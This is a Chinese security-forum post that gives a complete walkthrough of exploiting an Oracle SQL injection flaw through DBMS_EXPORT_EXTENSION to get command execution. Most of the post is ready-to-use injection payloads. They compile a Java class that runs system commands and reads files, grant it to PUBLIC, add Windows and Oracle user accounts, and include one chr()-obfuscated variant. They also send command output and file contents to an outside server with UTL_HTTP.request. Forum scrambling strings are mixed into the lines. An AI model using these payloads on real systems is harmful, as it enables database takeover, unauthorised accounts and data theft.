找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2394|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成   H) h! T7 Y9 p6 f
& F; Q, E4 ~) E- \
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
3 E9 f3 L1 Z3 I3 ?的形式即可。(用" 'a'|| "是为了让语句返回true值)
. u! T$ {: f, }8 [' w  T0 W语句有点长,可能要用post提交。
3 l2 X3 ~  H, C, b( P: i以下是各个步骤: : [3 y2 ]5 s% g  j' N- @% v7 F
1.创建包
) c1 P7 H3 ?* M通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
. `$ J; T+ L2 q0 C4 H/xxx.jsp?id=1 and '1'<>'a'||( 3 x6 h& K3 G2 z5 C/ E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- ?2 b* }' e9 ]$ G7 Z
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(+ S# A" G, ~7 g9 N( b
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}6 j$ c7 k2 A- ^' ^& Z8 m
}'''';END;'';END;--','SYS',0,'1',0) from dual
' D6 v. k1 \8 ?) ' c' }, ]$ H4 z' W. ~7 G
------------------------
2 t0 u& K, H7 N  p  U$ K+ M5 ^2 z* ~如果url有长度限制,可以把readFile()函数块去掉,即:
! w. P" ~9 x7 x+ ^/xxx.jsp?id=1 and '1'<>'a'||(
# K/ x" N* D2 B7 s- I$ [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% j- B2 c) f9 O# ^) m, G' icreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
) E1 E& n5 ?; j7 x" ?4 `$ onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
2 L+ h. R8 D. ?2 _1 `3 Q2 B1 X}'''';END;'';END;--','SYS',0,'1',0) from dual
6 |" j) v+ D$ `+ d& M8 K)
) o$ N8 [" W' ^- P, w1 i  ]  T$ R同时把后面步骤 提到的 对readFile()的处理语句去掉。 , y; X/ |5 J8 I9 _# m
------------------------------
  q. I8 n7 k) F8 S' b6 {2.赋Java权限
- E5 F; h5 U6 q8 m% {. `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual9 M: r- p1 U0 G4 F
3.创建函数 , A( X0 A: z. U" D1 s" R" Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 V$ R, ]6 K1 k$ V" ?$ m# pcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
& @- Y  }* j$ Y% l. \0 y+ d6 F, jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ n/ ^* v" L( U! r; }- F9 ~+ W, |
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
$ S+ t3 Q& Y" H) v4.赋public执行函数的权限 2 W; h3 Y" s6 F8 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual' S$ y3 V+ J7 ~9 e, O7 u4 Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual1 g& _9 f7 l$ V! `
5.测试上面的几步是否成功 5 o! V: C2 {2 ?# f2 Q. R: u. W
and '1'<>'11'||( : u" g6 e7 R$ t$ i3 j# z
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
  `% C8 q( f8 k9 _, Q$ u% Z) 0 A7 O5 h" w( e
and '1'<>( + N. ^. {1 G7 d$ ]
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' ( K3 P5 P$ H; i# |/ ?; X2 v
) . ]& {' @' [! @% \* y- Z" V
6.执行命令:
' Q$ o7 ~* Y" l( Q+ r/xxx.jsp?id=1 and '1'<>(
- Q& u( U' W6 [& ]select  sys.LinxRunCMD('cmd /c net user linx /add') from dual & r' _% Q/ o( h

" K# F! ]  q/ r( @+ R)
+ M1 o. b' f0 b4 T8 P/ k4 p( B/xxx.jsp?id=1 and '1'<>( ! A1 m7 ^( U* X$ J9 S9 G
select  sys.LinxReadFile('c:/boot.ini') from dual
/ C" p; r$ d( P2 K, n. U3 u( r6 |7 B$ [+ E1 Z0 T5 w' ]7 W5 m. _
)+ j/ P6 M% o7 d- f! f& [" ^- I
  - \3 E- F& ~  N0 T4 v. o" o
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 , @- J: d! i5 f5 r4 }. C
如果要查看运行结果可以用 union : 7 Q& W% G# c& e* |% [( s& V
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
8 v$ h4 Q; a  E5 ]- T& j; A! |或者UTL_HTTP.request(:
: ?& @- I' z* ^' }9 E/xxx.jsp?id=1 and '1'<>( 0 I" K: f2 k# O2 h, l+ V
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual9 R9 {* Y5 L+ @; @3 w' l; I
) + W( Q1 E1 H- O$ e1 y! ~
/xxx.jsp?id=1 and '1'<>( + L, l" U4 L: }( B& J
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual! I: l3 i2 g! h5 S9 f7 t2 J
) 7 Z4 Z$ j6 {. s# a7 ]% f
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
5 d7 B8 |, u  i' ^  g% }-------------------- # f; {6 {- A% c$ Z$ d
6.内部变化 ; k, O) @( y9 h1 [
通过以下命令可以查看all_objects表达改变: - H$ m8 U" m1 V: T8 x7 W
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
& N0 ^4 o5 p& M6 X7.删除我们创建的函数
8 n  x& H- `5 C+ Z* I% Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; d0 T9 O" o+ T* V. C8 v
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
5 Z- S8 F* Y; |1 A# ~; a) G' L==================================================== 3 X2 P$ e" W, e" G8 c
全文结束。谨以此文赠与我的朋友。 7 i- W) F8 `: m, J
linx   H6 A! ?+ k) {) H
124829445
9 W, T8 _; O' `' p+ u2008.1.12 ( k/ B6 u! p4 O' t8 ~9 C$ w* v
linyujian@bjfu.edu.cn
" Q4 e6 q$ w- Z- V" U# }====================================================================== 3 ]" Q7 d" J5 f- W! |
测试漏洞的另一方法:
) ]3 M. M7 x+ G/ l创建oracle帐号:
: h; r% a% [* e* J2 R9 }3 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ l/ a7 r8 Y! S3 a# C& B
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual: u2 l+ B& f# O+ d" C/ G2 x
即: . |( I# m2 B+ |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),8 Y& K, a; ]: e) F7 A" l" i
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
% @; F/ ?6 t0 g1 j确定漏洞存在:
3 y% H/ b+ ~8 z1<>( 0 S/ I9 I+ f+ x7 \
select user_id from all_users where username='LINXSQL' 9 O* c. L/ |" b: d
) 8 f) a/ ?9 Q; k3 `( ?
给linxsql连接权限:
2 }3 w- f5 L2 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- O4 M+ B! E8 o  xGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual " t9 M  D1 N1 ?5 A( L
删除帐号: ) m8 b( A) N9 `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; u# G1 b) s9 D6 H
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 3 J% q+ d: ~7 g; V5 L
======================
$ G- Z) T, g( `3 P* b, P以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
! J% @- o; x! h. Q7 [! T9 X' ]  l5 d1.jsp?id=1 and '1'<>( ! ~5 a) g/ @5 V+ X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" X9 t  k2 E1 o# m* P" ^/ S
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
, \3 [" r! \/ R7 f' [) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE+ P6 H0 c& [$ g7 E: d& v, O
 )
0 f) ]# v! a) z
" s% ?4 T: F# ?- E. Y% V( e. r0 Z

9 K8 B' K. \( ~7 S: K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表